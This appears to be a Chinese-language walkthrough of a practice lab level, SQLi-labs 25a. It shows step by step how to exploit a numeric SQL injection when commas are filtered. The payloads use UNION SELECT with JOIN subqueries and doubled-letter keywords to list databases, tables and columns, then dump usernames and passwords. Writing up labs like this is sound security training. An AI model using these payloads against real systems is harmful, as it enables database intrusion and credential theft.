sql-lab 25a 关之逗号过滤
1、判断是数字型注入还是字符型注入


可以看到 id=1 和id=2-1是同一个画面,所以这是数字型注入
2、数字型不需要判断闭合方式,直接开整
3、判断回显位
不知道为什么ordey by 输入进去没反应
直接用 union select 1,2,3来试试吧

这里输入逗号,可以看到逗号被过滤了
所以利用join
playload: ?id=-1 union select * from (select 1)a join (select 2)b join (select 3)c --+


这里可以看到 如果有4列的话,它是显示报错的 ,如果是3列的 它就是正常,所以说明回显位为2,3(也就是 select 2和select 3)
爆库:?id=-1 union select * from (select 1)a join (select 2)b join (select database())c --+
爆表:?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')c --+
爆列:?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(column_name) from infoorrmation_schema.columns where table_name='users')c --+
获取: (1)?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(username) from users )c --+ 获取用户名 因为逗号被过滤了,所以无法利用group_concat来同时把用户名和密码拼接
(2)?id=-1 union select * from (select 1)a join (select 2)b join (select group_concat(passwoorrd) from users )c --+ 获取密码






浙公网安备 33010602011771号